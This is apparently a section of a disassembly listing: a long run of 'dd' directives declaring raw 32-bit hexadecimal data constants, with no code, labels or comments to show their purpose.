		dd 5DE9C0FBh, 7B2F662Eh, 514BA15Ah, 0DA6FD968h,	2D145030h
		dd 56FED05Bh, 0AB93856Bh, 2F573241h, 852B36F5h,	8325AB59h
		dd 2E69FA01h, 0DDEC11B8h, 797CBFFDh, 7395CAA0h,	5AEE8D4Ah
		dd 54A86F71h, 7B877FA1h, 0F4804F90h, 0B0307353h, 194D6B57h
		dd 4B124C55h, 4E460446h, 8598C255h, 0BEF54577h,	440970A5h
		dd 20ADE455h, 5904B33Bh, 43F36850h, 9F619398h, 4309530Bh
		dd 84934A02h, 83E9C843h, 0E6647B0Ch, 63E79B81h,	0E607F46Dh
		dd 0B20756E4h, 11861CDCh, 0D5957103h, 9C2DD05h,	6C794E88h
		dd 182BF742h, 3A17E2B8h, 9C001EEEh, 1B1C290Dh, 9D597EE9h
		dd 7E88EF20h, 0F4B84834h, 0CBA1E40h, 1CCE5A8Ah,	2503F220h
		dd 5FE93A24h, 0C773026Dh, 0C84ABA15h, 730B0E55h, 18DBA104h
		dd 0AD047EB3h, 0C83A8378h, 1B7ADE9Bh, 64FE3C4Eh, 5B0C0949h
		dd 1C8367F0h, 0FB5557C2h, 906B4A6h, 0B529DDD9h,	0BDDA1633h
		dd 0D7258D54h, 3568C968h, 0C296495Dh, 5F4AE9h, 0C7E18B8h
		dd 0D72D5112h, 4017B700h, 2811AD35h, 9CA7B57h, 15056CD4h
		dd 0C8E42CE3h, 0E0EBF052h, 0EFB12437h, 0C0FAEA64h, 56451213h
		dd 8963A297h, 952C7AD5h, 0B48875C5h, 0C15C1F0Eh, 8A7716F7h
		dd 0C0C06F45h, 0F5196847h, 42DE0C2Ch, 2DC6B36h,	5F4952D1h
		dd 15C2A5AFh, 30553690h, 30E4CB68h, 252242EFh, 35B0E17Ah
		dd 0A4B4DD6Fh, 0CB81CE1Fh, 3850FDC9h, 3980CBB3h, 5DC78EBh
		dd 1DD92816h, 0C75B5218h, 0B8F8B23Ah, 0CEB1C2DBh, 98E492C3h
		dd 0B3E92F05h, 660E66C6h, 930860B9h, 99310F1h, 0ACF9AC05h
		dd 669BC05Ch, 0E97FBEBBh, 20CB3E30h, 1E62F380h,	0CB33B050h
		dd 4FA8839h, 0D5A50B9Fh, 0B1554910h, 945AC388h,	6853D0AAh
		dd 0B26E8525h, 3E89FD95h, 0E37D74B0h, 0EEF82980h, 0E43D5F19h
		dd 0C2C107D1h, 2AAE51B3h, 7932DA83h, 0C000924h,	41277DACh
		dd 0B25DEE21h, 7A5B4EAh, 4110E0Ch, 74EF5789h, 932CFA3Ch
		dd 3EC34166h, 539619E0h, 0B126B935h, 407508C4h,	5B1CBE03h
		dd 96CBEEAh, 580E24D2h,	123A5E43h, 0B2779756h, 2778E114h
		dd 0B5B0D036h, 0C55DA80Bh, 8B534910h, 30EB5E92h, 3AB2E910h
		dd 94F28B6h, 0E16EF747h, 0B4017BB0h, 0E9549502h, 0D26EE68Ah
		dd 0E5487ED2h, 0B89FF231h, 18A4EE9Bh, 9C3A7429h, 0E92D0DB9h
		dd 83615A1Ah, 141C4108h, 0F3108C39h, 4AE85A92h,	7F48A1D7h
		dd 674085CBh, 7C9A5DE9h, 26A4BA02h, 44F77978h, 5CE59046h
		dd 0D8870B56h, 0A2C3375Bh, 94D7B126h, 0C10297E8h, 0A2083C6Eh
		dd 0D476FD05h, 428DC2FEh, 470BF45Ah, 7C3D7035h,	511A3F50h
		dd 0D6021CD7h, 6EDF1317h, 53EE69ACh, 1E78E804h,	6D854782h
		dd 62965E37h, 43C1DA31h, 14242EC9h, 813021FFh, 0E2717B2Fh
		dd 55C29055h, 10884F6Dh, 0E95F1380h, 0C0284F36h, 40AF418Dh
		dd 3EF8F12Eh, 1C7AD32Eh, 0E273D919h, 6DE00721h,	801C5E67h
		dd 98925DD1h, 0B1E1E35Fh, 252CF66Ah, 0F8F68B47h, 3B6720A5h
		dd 5D7F5E6Bh, 54515690h, 15FD95h, 0D2E77027h, 3BB6EBA4h
		dd 165C5B2Fh, 0D15F8402h, 6587762Fh, 0FF8BAB0Ch, 49CAA04Fh
		dd 0BA84ECC1h, 0E12E0340h, 6FD68B12h, 9102D54Fh, 0D75A1E5Dh
		dd 8716C8E4h, 0A8AD53D9h, 3422E9E0h, 0D7166392h, 0A900F757h
		dd 4F23F2BFh, 0AF314E3Dh, 6D3BF10h, 6B662690h, 1350790Ch
		dd 4E296003h, 387C9DEBh, 0B6A34B47h, 8149AC99h,	3AE5CB8Dh
		dd 0E3D8375Ch, 405E1F52h, 0DBF30016h, 21509878h, 0D68ADF4Fh
		dd 5D7F680Bh, 1DFC26B0h, 0DC02012Eh, 80698710h,	507C1072h
		dd 7FC49E5Eh, 0B045E8AEh, 767BA52h, 5CCD82Ch, 34001E56h
		dd 5AE9D029h, 62F873B2h, 1CF70212h, 72DF60Ah, 0A3B05213h
		dd 51392845h, 3F737EF0h, 0D1962890h, 68E52C41h,	800A3901h
		dd 0F1315E16h, 5C5251CCh, 0E1103D59h, 21AA5A57h, 54F8BF01h
		dd 3CFBB477h, 5E957070h, 6CD57A33h, 2E5A970Eh, 52DDFC9Fh
		dd 3E706D5Fh, 0BBD75ECCh, 92BB50C0h, 7EB0004Bh,	43AFEB81h
		dd 21135298h, 7B645BDDh, 3E2C6FAh, 91B26892h, 0B941D20h
		dd 0C1B331B5h, 2CE003DDh, 0C5B1850Ah, 2F60F5CAh, 4827E947h
		dd 0DD6E98C7h, 58CA2A68h, 86E9160Ah, 6B8EBAC1h,	9E804F2Dh
		dd 0C580D5F6h, 0DD5E9D75h, 2C7F30B8h, 41DF09B0h, 603815E3h
		dd 4E904B90h, 0F7046303h, 0B6BDE923h, 0C0DF0145h, 0EF8006E7h
		dd 0DBF7CC25h, 7C13EDECh, 0B0802CE9h, 2521EEB9h, 7E70344Fh
		dd 675709A0h, 810F6800h, 0C548A4E9h, 5BBEEACDh,	69AB8B2Bh
		dd 202EF54Ch, 0B3C0BAC9h, 0C20B55BFh, 0DF31B2B5h, 4B72094Ch
		dd 1E38C788h, 0C907CA27h, 9824C813h, 1072E9AEh,	3A62B7EFh
		dd 9606602h, 57EA476Fh,	6531BFEEh, 7FC517A8h, 0B0FA29ECh
		dd 9DE168A9h, 962C03E4h, 5AFB753h, 3FEFC7F8h, 0F304EE52h
		dd 0BB1297E4h, 5A0DD1CCh, 10B2E285h, 0BE009C3Eh, 30A84A10h
		dd 4E9CDE31h, 0ABD4CEB4h, 0CBE1B2EAh, 5100AB63h, 0AFA90C3h
		dd 0C33C3FEDh, 10BB0113h, 0F85F085Dh, 0ABE9A17Fh, 0FC9C53Eh
		dd 712B160Bh, 82FB8ED7h, 0DD665B59h, 8270D885h,	455F26F7h
		dd 42F8A48Bh, 0C15C6B28h, 0DE1E2BC2h, 2065D2A8h, 0EC5F9DA0h
		dd 0D7F71C06h, 35C14804h, 0B1D813Ch, 290F0573h,	0ABDB82FDh
		dd 6A1D2D01h, 73057070h, 219E279Bh, 7209576h, 0E91140F9h
		dd 0BBC944AAh, 1844F7F9h, 292C1BDh, 5A112FF3h, 0C44EE664h
		dd 78EEBB17h, 3527E907h, 0CB317DC7h, 5F1CA4D2h,	0FFABB40Fh
		dd 956014EFh, 0C4D40029h, 400CCE02h, 0BF7E5D4Dh, 5068E90Bh
		dd 1CBA0330h, 527B5A60h, 923FBCD9h, 1704D9BBh, 0EAB59281h
		dd 5A4BB26Ah, 74B44580h, 124122Bh, 0F02707FAh, 4021103Ah
		dd 392CC305h, 300C1AF1h, 9C7E9B4h, 0DD51C108h, 0EF762A2Eh
		dd 0C5EC6F05h, 0BD025DB2h, 422B5316h, 3A60E280h, 295A4F62h
		dd 845BCBCh, 5CC5D702h,	0BE5F1264h, 0ADCC10B1h,	0B534EA6Ch
		dd 0BE3ADE07h, 5E594649h, 737D18B0h, 0E96E09ADh, 4C793C7Bh
		dd 14525C1Eh, 616B5BF1h, 70D267Dh, 0BB9738BBh, 0AC989705h
		dd 9D257A0Dh, 3F38803Ah, 0B7E9106Dh, 147C7AACh,	3FF14070h
		dd 85AEEB84h, 480BFB14h, 245F0115h, 0B8F11B9h, 8E997DE9h
		dd 600CF851h, 5961CE13h, 91007AF1h, 603C128Dh, 0DF6702Eh
		dd 24B87927h, 6940E4Ch,	56E90119h, 89098078h, 9584FC6h
		dd 38FCFA1Ch, 57E5E09Dh, 6D593661h, 1D1584C2h, 0BD72D00h
		dd 53F2A5Bh, 48D01F99h,	0F6BAA2C9h, 0C6BF78B5h,	6E888981h
		dd 6804FAD0h, 0E7B338B7h, 0AE7AD27Ch, 338C0CF7h, 0ED5A2C2Fh
		dd 0B2D0AA34h, 0C447CD68h
		dd 98A7679h, 0EF20555Bh, 44DF04ADh, 7DAB6812h, 98352AB3h
		dd 1CE0FEDFh, 0E8134ED2h, 8EA96D8h, 1824C5B9h, 75476105h
		dd 0ACE70A81h, 219CA3Bh, 0C41DB8C2h, 82BCF206h,	48C7FD08h
		dd 2524071Fh, 46373C8Bh, 377FC20h, 0BD5521BAh, 7FF9141Eh
		dd 0C98DEC4Dh, 68879891h, 0FF09547Ah, 0DD2D9B47h, 0E07EFD38h
		dd 90B844B5h, 2A95417Ah, 970660E4h, 0E1C36B68h,	0FD45472Dh
		dd 0A701260Bh, 30F3C23Fh, 0DAA86EAAh, 6C162C68h, 56BC3CF8h
		dd 7520DE06h, 5E925A37h, 86685702h, 604B7D6Bh, 80D55498h
		dd 0BF0EB652h, 678DCE80h, 0F3041FF6h, 0F9C729AFh, 0FB28E9C3h
		dd 50F8EBABh, 994175E9h, 2F4AA47Eh, 0B5E170B5h,	0DF582F5Ch
		dd 83F4B4A0h, 2F8A6367h, 3A8AC2Ch, 9621120Fh, 2937D0AEh
		dd 535C51D7h, 6FE61E2Fh, 0E94966C3h, 35AAD565h,	8ACCEF60h
		dd 0C24B433h, 0EA6BB821h, 0A12C6609h, 622024Bh,	465D03F8h
		dd 2BBA80B9h, 0C0C5B840h, 0F86E50ADh, 99634A89h, 98F7E68Eh
		dd 620AE9CFh, 672C10B9h, 851EE4FCh, 0C6E343CAh,	182E6E8Ah
		dd 0D8885087h, 5F58C222h, 828FC5Ah, 3B40E0E5h, 0E3810243h
		dd 42BF1CC0h, 0E7BCFE90h, 0E9FF5909h, 9F2958F6h, 0B3CE3F56h
		dd 0C8A1C6E2h, 4EBD006Bh, 66412D26h, 0F5049372h, 0A18A650Dh
		dd 0E91802FEh, 3AF710F0h, 0E9DE5716h, 0E2860949h, 0A29E57D2h
		dd 8D5F0A24h, 81667C69h, 137C631h, 87BD6B6Ch, 97E2A897h
		dd 0FC9250A2h, 47C1C075h, 2817EEFh, 697D6DCDh, 0C0DFF760h
		dd 2F151F3Ah, 87C3B85h,	0D1D89D3Dh, 17373540h, 2AE9642Eh
		dd 5BE491h, 392974BAh, 7057687Dh, 71390DA4h, 7D55042h
		dd 27ABAB5Bh, 48929228h, 0F8B38FA0h, 0C01ACBFEh, 770A05E3h
		dd 16E1DC8Eh, 809AB8E9h, 0E12CF0C5h, 1652665Ah,	0CC194168h
		dd 8826BF28h, 0F75ADADEh, 0FC767CE1h, 285E58C3h, 0E64A22ADh
		dd 0D62B1C83h, 99344F38h, 2F47D0C0h, 954A4C52h,	0AA0D4334h
		dd 31600FC9h, 0DA6D44BDh, 0CFD4F5A2h, 0BD56F0AFh, 5569565Eh
		dd 9F821EB4h, 20F03A66h, 0CC6A5B41h, 1F6711C3h,	2772C2F3h
		dd 60905F37h, 0F42D4C05h, 6AE625Ah, 0BC45807h, 1FA7C6E3h
		dd 290B07D6h, 0CFD1D4EEh, 0EA6395E0h, 5720E945h, 4066393Ah
		dd 0E1212D0Fh, 92D6CD6Ah, 0DAA6FA05h, 0B85FE9C4h, 7BB60190h
		dd 345AF020h, 8247E1E7h, 0F329E825h, 5E9F4Ch, 30ACB44Bh
		dd 801C5BDCh, 0ECC26BCCh, 84E188A6h, 0C3AFCBD8h, 0FAC53E13h
		dd 8EED719Dh, 0F0BFA0FEh, 5D47685Eh, 0FC935F69h, 0CA838595h
		dd 0B2FD0D56h, 0E320E4D0h, 1D0C4158h, 46563BB4h, 0EDD422EBh
		dd 6FD6FE09h, 0BBE11B65h, 0D04AE48Bh, 4AA368ADh, 936CC5B5h
		dd 0D474D856h, 25C13B44h, 647E36C7h, 542A008h, 20270168h
		dd 0B45ABA6Ch, 33E95412h, 1214AB2h, 1257F500h, 2529FD8Ch
		dd 46D05DEBh, 974622BDh, 96FE0686h, 5F1D584Ch, 510F72ACh
		dd 0C5E35BB5h, 91ED0F6h, 311680DDh, 571E5304h, 0C98B813h
		dd 0C375E168h, 8D8CA30Eh, 0CF2F8881h, 0B0BF0C82h, 65FC5214h
		dd 997F6BEh, 12E6D7A0h,	9D9BF8h, 0CD295E6Fh, 34AD9056h
		dd 8215DC98h, 0ECDDCE17h, 96F90A3h, 2BF054CBh, 0CEE9B981h
		dd 0BF1A808Eh, 17381684h, 46E70481h, 83797133h,	0FFB11CE1h
		dd 9E3C8254h, 0C1090B69h, 5D02FAEBh, 714316DDh,	16EDBB6Ah
		dd 1D7C5ED7h, 0AE39C9E6h, 0F602CC77h, 35B66722h, 925D74F9h
		dd 6575592Dh, 0C899891Ah, 0F1734474h, 0A36EEBF1h, 228A404Dh
		dd 1AF7FFC0h, 0F675EB47h, 0F8E35F4Ah, 8ABAE5E2h, 46E90C7Ch
		dd 7EC6C3C1h, 1DA5E658h, 877D3642h, 541B63CEh, 0EDB4B42Bh
		dd 2A0F5A14h, 7BAB18C9h, 1C8FEF7Fh, 0FB24CB01h,	8447C4Ch
		dd 0ADE927DFh, 0A855830Bh, 5E08F251h, 0CD5B1398h, 5C87C48h
		dd 0C78CE9FBh, 0BB10ACB9h, 0CA8101EAh, 238403EEh, 6F6BA32Eh
		dd 51E606E2h, 0FEC32E91h, 89E707F9h, 0C444D3DEh, 0EEFC4060h
		dd 4882AAE2h, 0CD4B80A0h, 95B86A4Bh, 0D7104495h, 71EC4ABBh
		dd 838175A6h, 0ACFA512Ah, 0CF192251h, 0EAC0E1B2h, 0E4CC8005h
		dd 5AD52488h, 0F7220C9Eh, 5F1EC2AFh, 0D0AFFC83h, 6CF2C4B6h
		dd 0AB0D00A9h, 0BF4D5C50h, 0B12425Ah, 0EAF9FAAh, 0EE129069h
		dd 3CBC4E2h, 0CBD36B58h, 3BA901ACh, 4FAD3DD1h, 0BEB7FB04h
		dd 0B0A345Ah, 679054DFh, 0F61024C9h, 285A2176h,	6E0FBE5Ah
		dd 0C315BB32h, 0DA222EF6h, 0B4DAD574h, 14EC040Dh, 0D12E6E98h
		dd 2FE8E90Bh, 0B83AF51Ch, 0D6F82E59h, 0C1B9A417h, 44728140h
		dd 0DD0FC2D4h, 6F192821h, 1D22D240h, 18C5CF5h, 8E2C14Ah
		dd 6C04E851h, 0F78CD3DDh, 256866A3h, 451858BEh,	88802963h
		dd 511AEEFDh, 6CC8785Ch, 800A4EC0h, 2D684692h, 6D92715Fh
		dd 0C60209E1h, 0FF09D3ACh, 59AD5320h, 0DCB80C03h, 0CD2F0DEEh
		dd 85875F0Eh, 0FE50D1E5h, 9E0C822Ah, 0C0462849h, 195B6ED8h
		dd 88316301h, 0F701E648h, 0AC6E93D0h, 0A31273C5h, 0DA00AE1Ch
		dd 0B5D461F3h, 2D60B7B4h, 23011225h, 1135442Ah,	8200801h
		dd 3F1591C7h, 0BEFD164Eh, 68121DCFh, 9430FEB5h,	0B2D2D3E9h
		dd 732A2545h, 0A7806F79h, 0B9635922h, 42402EF9h, 85830823h
		dd 2C29CE30h, 3569444Eh, 9D5F7E40h, 7025F168h, 0B0FDB95h
		dd 0A07E400Eh, 0C969887Ah, 5906BA02h, 0DBF87746h, 25FA0220h
		dd 98D55A66h, 2A6855B8h, 4FD76F25h, 7374FA18h, 0EC107AEDh
		dd 5DD54ED8h, 25189E0h,	0FD7305B9h, 0D9438131h,	0DDAC0D4Fh
		dd 0D22BA24Ah, 0B5B0F2FAh, 3742D8FFh, 3980A240h, 0EF9C60C7h
		dd 0FBF91781h, 1FE9E82Ch, 39F18006h, 288D25F6h,	0D916B35Fh
		dd 3F2CF40Ah, 0A90CDAA2h, 52512555h, 40766A75h,	9688CA3h
		dd 8957B3F9h, 4B46E482h, 0AFDE31F5h, 505D9C1h, 0AC7D14DDh
		dd 0CA329A97h, 0C9737C02h, 44881A5Fh, 3B4C1411h, 0C202AA9Bh
		dd 22647910h, 82217055h, 0AEF65508h, 0B1795D49h, 9928C171h
		dd 2BE34B86h, 0CA7AC601h, 0F389D0FDh, 9DA6F430h, 42A71BDBh
		dd 8798246h, 2890FC54h,	0E90980DDh, 0DE8B5FDh, 76BD5DEEh
		dd 0ACC94493h, 603A4947h, 0C07CAD4h, 1F2EC16h, 74F453E6h
		dd 44290BE9h, 0B795FE5Eh, 54043752h, 38E37DF6h,	0AFE11464h
		dd 30AC0712h, 0CD800789h, 164B1B9h, 3CF8315Bh, 2087A113h
		dd 9F26C9DBh, 40BF4D4Ah, 5918EFB6h, 5595E984h, 0BA5E9904h
		dd 4B95761h, 574F702Eh,	9670CAE9h, 52FCF69Dh, 42E90910h
		dd 42F2BC4Bh, 703344D3h, 0E478B88h, 69685BDFh, 897AD909h
		dd 9CD58F8Ah, 5EA39882h, 7D341320h, 0AF983F6Ch,	96765965h
		dd 0FD5F2584h, 44F102F4h, 0DF036F6Bh, 47F87A07h, 0FB2985B7h
		dd 68E7891Eh, 3E3CF13Ah, 4CA31652h, 14820C20h, 71592106h
		dd 7FE95819h, 0B92055D5h, 95AA7083h, 12259477h,	8D37D168h
		dd 2DF3F938h, 75309A7Ch, 0FE20B5E7h, 9609EC09h,	0EA6A7D7Bh
		dd 48D60F7Dh, 0E5612D98h, 8C00058Eh, 38923547h,	59AFA05Fh
		dd 0FBDA92C4h, 0BDBCA6DCh, 1C2712CCh, 3CF8F164h, 0FAB64112h
		dd 0B5682828h, 7C82F65Ch, 6A3A106Fh, 0E0797F03h, 21C663h
		dd 7891BF0Ah, 0DFF70BD3h, 81474F00h, 79077BCFh,	26E9245Fh
		dd 5403A45Eh, 0A0D258BDh, 0B7B7835Fh, 0D90E3C71h, 0B7CF6E53h
		dd 59378CEEh, 0C2C318CFh, 49BBE9DEh, 0AC495DA5h, 2527E46Ah
		dd 81B23248h, 463379E5h, 0F22DF47Fh, 0E3A6BE2Ch, 0FA807527h
		dd 0FBCDDFB8h, 0D7A6C295h, 13A26300h, 5E8199C3h, 0C548BD6Eh
		dd 9091AE39h, 9C20EB89h
		dd 42F78250h, 0CAE383FAh, 0FC93E35Eh, 0F7016603h, 0D20541CFh
		dd 0F829E044h, 0FD72DF6h, 453B509h, 0EF16C39Ch,	0EFB2C118h
		dd 0C5B1245h, 417BFE1h,	0A4E5DFFDh, 0FE4EB83Dh,	58B82CABh
		dd 714B08B0h, 73309F30h, 8A3B4AC9h, 50769AAh, 0F4EB0251h
		dd 4114493Ch, 1A8199Eh,	0FFBD29C7h, 41A7D031h, 5C252E5Eh
		dd 0ECEE500Ch, 1313BE80h, 0BA318832h, 6069B18h,	692427E9h
		dd 5FF92F22h, 702F0C64h, 0F6F9CEA2h, 66F996E2h,	0B528C4BFh
		dd 78B79D08h, 1F172D6Ah, 5056CC10h, 92FA683Dh, 0CF2D4F6Fh
		dd 7B87A23Bh, 0ADBDC54Bh, 7AFF0C60h, 0E9160B46h, 57902D4Dh
		dd 4C8816B4h, 5A121CE3h, 0C9B040F1h, 4EB73760h,	8C4F4490h
		dd 0A7C9F68Dh, 4E49A76Eh, 0E99238EAh, 0C997B6F8h, 0DFE2C170h
		dd 777FA880h, 0CC12926h, 67714090h, 1140FB2Ah, 539B3994h
		dd 1A42BD21h, 7082FE40h, 5E12312Eh, 60CDE317h, 2567D92h
		dd 5D41CA5Ah, 0E01BF9C1h, 4295313Dh, 7FA280EDh,	17796013h
		dd 0C77EE94Ah, 898CB082h, 40B53906h, 0B80188Bh,	0D079E97Dh
		dd 5F1D80D1h, 392CAD24h, 0CAC57F16h, 0B909BC5Eh, 0EA92DAE7h
		dd 3A5D817Dh, 0A83DC4B0h, 6E580B4h, 0F6F5860Bh,	8F9509D6h
		dd 0EC8841FAh, 622BE3E9h, 5BF753D4h, 597DC904h,	0D9700C7Dh
		dd 682FAC84h, 6995D6FEh, 0C77A0082h, 8D01E77Fh,	7CF4A19h
		dd 40B082B5h, 94793A64h, 3E85E53Fh, 0AB2A9BD1h,	285D43Dh
		dd 0B86AF6B1h, 781A175Ah, 5DECE7DDh, 75C2E112h,	68C1ACF1h
		dd 323E55FBh, 94D550F0h, 8A681362h, 9523ED6Ah, 232EC9A2h
		dd 0FFCB8149h, 434127E0h, 0C1DB40F7h, 0D8E69E05h, 91B6D931h
		dd 0C017D940h, 0AC06C68Bh, 0E09D593Ch, 0AC4CD317h, 5BD6F2C9h
		dd 3922D905h, 0E7D116ABh, 36F431FFh, 19883B11h,	323317E2h
		dd 3BC4FB5Ch, 584B081Dh, 0E44F71A1h, 0A43FFC5Dh, 444A3EECh
		dd 1D24366h, 7B9368FDh,	0ACA8938h, 0F78C428Eh, 921EF97Dh
		dd 1360A3C7h, 72296E16h, 8ED7ED2Ah, 5C277020h, 3D68D931h
		dd 0DF1C70Ch, 0C9D95D09h, 2F0DE6E9h, 4254AC23h,	39CD68E1h
		dd 3DC33E6Ch, 0BBE52352h, 9B029BA1h, 80F709B2h,	543DE7C7h
		dd 5DFA9516h, 19DC0882h, 97580FCCh, 0C4E58AD3h,	2DA0A7EFh
		dd 0E9C96831h, 3A4E417Ch, 2BE072A1h, 0C40996BBh, 5D5222C2h
		dd 0A6309FEEh, 5DEFDD82h, 0A0D3B047h, 13780B5h,	94BE2D17h
		dd 2F042AD1h, 0B5506EE0h, 4742EC09h, 6607D71h, 76F681Bh
		dd 0E9EED146h, 0A78E6AC1h, 0C1F65FCh, 1691E2Ch,	0B13732A4h
		dd 79CA29D4h, 0ADE91359h, 239BBAE3h, 0C66C6F6Eh, 5E7A754h
		dd 5300A9FCh, 7F5DB2BBh, 0F33A8161h, 0F8E8B48h,	0BCE05509h
		dd 0FB4A73F8h, 975AD8E0h, 775A257Eh, 0CF3824F1h, 821827AFh
		dd 98D743B6h, 825245EEh, 625FAF6Ah, 9DC05D3Dh, 182D280Ch
		dd 0BDA4D823h, 269FDD9h, 77AF6C88h, 68136CECh, 39300B42h
		dd 32E9F488h, 0E589ADDFh, 200FD057h, 3BEDCD4Ch,	5CB07EE9h
		dd 4F4F7868h, 6747068Ch, 72E151BEh, 247D0705h, 22B89A31h
		dd 8D7CBE5Eh, 85025BE9h, 0E8A4FA54h, 0B22A985Fh, 4E7B9D2Eh
		dd 260DD027h, 8E7228DCh, 0BA1721C2h, 0F25E5FCEh, 6AFCD2B5h
		dd 64FE2DC0h, 0E1B818D6h, 2F070551h, 0B95F5CBCh, 9B05C186h
		dd 826F0B14h, 7812DD7h,	7E6B0AE9h, 0CFCD8CDDh, 7ED6C2D6h
		dd 302F0021h, 0C7E9151Ch, 0A87FB041h, 7066783h,	20EBBDC5h
		dd 0A550A31Fh, 3AEE417Bh, 0C814EDB2h, 2F8F1A67h, 9A30968h
		dd 0DAD37F6Fh, 0ED1EFF4Bh, 0C040FE90h, 69FD7230h, 7A7508EFh
		dd 23EEB7A1h, 294F687Ah, 728863CCh, 9DC758E8h, 0E4972F20h
		dd 4876F412h, 0BAD0EB69h, 0A2600F01h, 78E7C13Ah, 18E32FC5h
		dd 0B5EE0546h, 60DCB8C8h, 5E736A16h, 4AA19AE0h,	763440BEh
		dd 0C161F93Bh, 2D04E001h, 66B36DE3h, 0E909F76Ch, 0EA66E184h
		dd 0E08A5AB0h, 82564687h, 5700B8A8h, 82397568h,	2AE4D41h
		dd 0D4D24829h, 8927DFACh, 0B07F36E1h, 0B0F52963h, 0BB3E40B6h
		dd 17541D00h, 7650BA24h, 4F487FE1h, 0BE4E5BFh, 0C2E54AD2h
		dd 94FA527Ah, 49A71264h, 0BF3B5D5Eh, 0F1D32E29h, 32F5CA5h
		dd 54D274DBh, 3A95FFF9h, 0DE5376C8h, 0F52DB712h, 8785F194h
		dd 804FB136h, 0C1FE56A0h, 5E13BC0h, 87C39FA4h, 0F35AF428h
		dd 50762375h, 39BC4B98h, 0F181D9C0h, 6FFF161Ah,	4AE0BCCEh
		dd 0BF970BADh, 6050739Ch, 0A5BE60F4h, 6F02D66Bh, 55A0CE81h
		dd 0EB805F38h, 74F714F3h, 0AC20295Fh, 973C8675h, 1F3E51Bh
		dd 0DDB0EEF0h, 0B7CA02Fh, 0B5F4048Bh, 55685001h, 0FCEB5126h
		dd 0DF0968C1h, 0D46EA089h, 0E0E96234h, 133F637Ch, 4D617138h
		dd 99761ADCh, 0A12CFC5Eh, 0C2FDE950h, 0D354081h, 7BF6D3CDh
		dd 0FBB39E0h, 48D24541h, 86A1FB0Ah, 9D4B6E68h, 21E86D2Dh
		dd 653FDF0Dh, 0D96191F9h, 1AE3587Fh, 0A72F25E6h, 204E503Ch
		dd 0B82F501h, 0D55A2274h, 0E905F945h, 3CBBADEBh, 0C0636964h
		dd 17EE8070h, 29BCE06h,	2062B594h, 75A309DDh, 8BACAED9h
		dd 0B8027510h, 21525B28h, 0D2C07941h, 126C8107h, 342D4FE0h
		dd 0A0A8BA14h, 9022AAC9h, 0FEE1F901h, 0F63D8186h, 7DD5410Fh
		dd 121A2A20h, 0EE48604Bh, 67BCBE91h, 0DE17E9BBh, 135EF9E4h
		dd 9708934Bh, 0D82900C3h, 0EC317B2Dh, 0CC2A6764h, 383C9CFDh
		dd 0BBBFA917h, 0CD1AEF21h, 4DBB500h, 0E83A1170h, 0B675E2Ch
		dd 0A7E9D800h, 8E3934Ch, 4813279Ch, 2E5701FFh, 0F461265Eh
		dd 55A1D52Fh, 38F12B6Fh, 7B8BF32Bh, 5C97E2Ch, 8516C096h
		dd 923E82BCh, 0AA9DD192h, 9A76EEB2h, 6B37946Ch,	88565FFh
		dd 102DE06Ch, 80816641h, 8737D329h, 69CED5DAh, 286BA8EAh
		dd 86F7890Fh, 9442F809h, 0DB646FCDh, 5024A27Ah,	0FE97EA7Ch
		dd 0FADAF084h, 188C59Dh, 481995C7h, 4143130h, 5D080988h
		dd 209944D5h, 4790B3CEh, 79BC220h, 19626FBAh, 0F2ABA26Bh
		dd 6CAD22F5h, 5C9798DEh, 0B8D5A028h, 0E8FBC360h, 78F8055Dh
		dd 2D0754C5h, 0F621E7Ch, 9FD55657h, 5D8E6C1h, 4FE90743h
		dd 2D0390E6h, 0B7A3872h, 341D6816h, 0DBB88460h,	5DA4263Eh
		dd 32D02525h, 0E9995395h, 0D4B7D802h, 5B895C57h, 2ACF5FF1h
		dd 13EF818Ch, 52A2A1DAh, 3044F1B5h, 13A4E775h, 0CE24167Bh
		dd 3F03BF23h, 2F79557Eh, 0EDA3D74Ch, 89F2CF88h,	0F3218168h
		dd 0E559AEEEh, 7D523F38h, 2CABEE5Bh, 0BA5BC5B8h, 1F6AABCCh
		dd 491FCB7Dh, 395DC611h, 0B2B19A6h, 0C77F553Ch,	4204A43Bh
		dd 0E15CD856h, 25515570h, 0BDF595Dh, 662CDC82h,	5C802E83h
		dd 71BFC1A5h, 86152BAh,	0C8C79DEAh, 52B2F3D2h, 9EE3BF1Eh
		dd 6A06CA66h, 0EAC294FDh, 0EB4FA230h, 673E4738h, 51FAF621h
		dd 0DB475E4Bh, 40B2C9F7h, 4F31E052h, 0B4508002h, 0C8348578h
		dd 0EB9E9Bh, 84BA52F5h,	0D65B33F4h, 0AD257B9h, 2665B15h
		dd 941D2BE1h, 7CE03AC3h, 3958F016h, 208239BEh, 31CD7DA3h
		dd 0C1A59F4Dh, 0B7CBCC98h, 0C16E2D4h, 0A68F56F8h, 5731035Eh
		dd 0EA68E920h, 64F9174h, 9AC535A4h, 73BE9A51h, 12C82F4Ah
		dd 0E9C92775h, 0C57CC80Bh, 92191798h, 23EE0720h, 8836742Ah
		dd 0BBB4AD4Dh, 4FBBBD02h, 241760AFh, 8CF39D03h,	3031E9C1h
		dd 34C58000h, 70B6523Ah, 795AF538h, 53F8EDF6h, 6664B77Eh
		dd 0ACB40B54h, 0A6459FF2h, 4AE50F95h, 0E87BDBB3h, 0D3F780BFh
		dd 2D8FD49Fh, 680B1372h, 0E2C26E74h, 882776AEh,	916C50Fh
		dd 273FF0F8h, 5FF9CDE3h
		dd 31CD84DDh, 47D601F3h, 0C415C3F2h, 0CEA03012h, 0E9E42BF8h
		dd 4E0684FFh, 0FA5FB0B2h, 0BFBDD413h, 0D628E909h, 4EF589A9h
		dd 0B38BF1Dh, 8482485Ch, 0BB0105C6h, 6FEE5DF5h,	3B4FA7D0h
		dd 0B1955A77h, 0EE982F90h, 0D72E17C5h, 0D1D20779h, 0E912D371h
		dd 2902919Dh, 642A71EEh, 43B75B1Ch, 0FA2F88DEh,	4A8AFA17h
		dd 0B02DBBA5h, 819F3820h, 0B6762043h, 5B2E02BFh, 834F5D50h
		dd 2F4374A4h, 5F40C215h, 0E0444A63h, 0A3A8FF9Bh, 0DEEDB5E6h
		dd 0C9D75375h, 0BB56555h, 507863E9h, 75806804h,	12EE23B9h
		dd 5A71AC4Ch, 0C493BDE2h, 9E2BF02Ch, 82E9725Ch,	40AE0845h
		dd 125FC9D7h, 1619728h,	2C2F1A96h, 0BBBD7A1Ch, 0E87EF194h
		dd 1F7648C5h, 2B0C9905h, 521FAFD0h, 0D2AD929Dh,	60D75A87h
		dd 1C78006h, 84FA534Bh,	3789C139h, 0B0BD00C8h, 7C771438h
		dd 2C7DA7C1h, 84FCE22Dh, 0C19E07D8h, 8EDD9759h,	0B2F7802Eh
